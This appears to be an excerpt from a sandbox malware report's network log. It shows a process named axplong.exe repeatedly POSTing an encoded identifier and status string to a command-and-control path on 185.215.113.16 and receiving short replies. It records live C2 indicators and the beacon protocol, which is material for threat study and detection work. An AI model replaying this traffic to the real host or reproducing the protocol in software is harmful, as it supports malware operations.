Sep 26, 2024 17:06:35.804246902 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:36.027578115 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	55680	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:36.150890112 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:36.850660086 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:36.866652012 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:37.101211071 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	55681	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:37.211791039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:37.948664904 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:37.951479912 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:38.180243969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	55682	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:38.290827990 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:39.010049105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:39.010701895 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:39.243298054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	55683	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:39.352461100 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:40.051671028 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:40.052391052 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:40.277755022 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	55684	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:40.399821997 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:41.091953993 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:41.092789888 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:41.316405058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	55685	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:41.432535887 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:42.166551113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:42.167237043 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:42.395185947 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	55686	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:42.508586884 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:43.225728989 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:43.226674080 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:43.462884903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	55687	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:43.571501970 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:44.271430016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:44.272093058 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:44.500443935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	55688	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:44.732155085 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:45.456552029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:45.462275982 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:45.698806047 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	55689	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:45.805583954 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:46.514834881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:46.515559912 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:46.741858006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	55690	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:46.852421999 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:47.553034067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:47.555301905 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:47.781078100 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	55691	185.215.113.16	80	2140	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 26, 2024 17:06:47.899945021 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 26, 2024 17:06:48.607697010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 26, 2024 17:06:48.608675003 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 41 46 45 41 37 34 35 43 45 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CAFEA745CEFEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 26, 2024 17:06:48.841314077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 26 Sep 2024 15:06:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
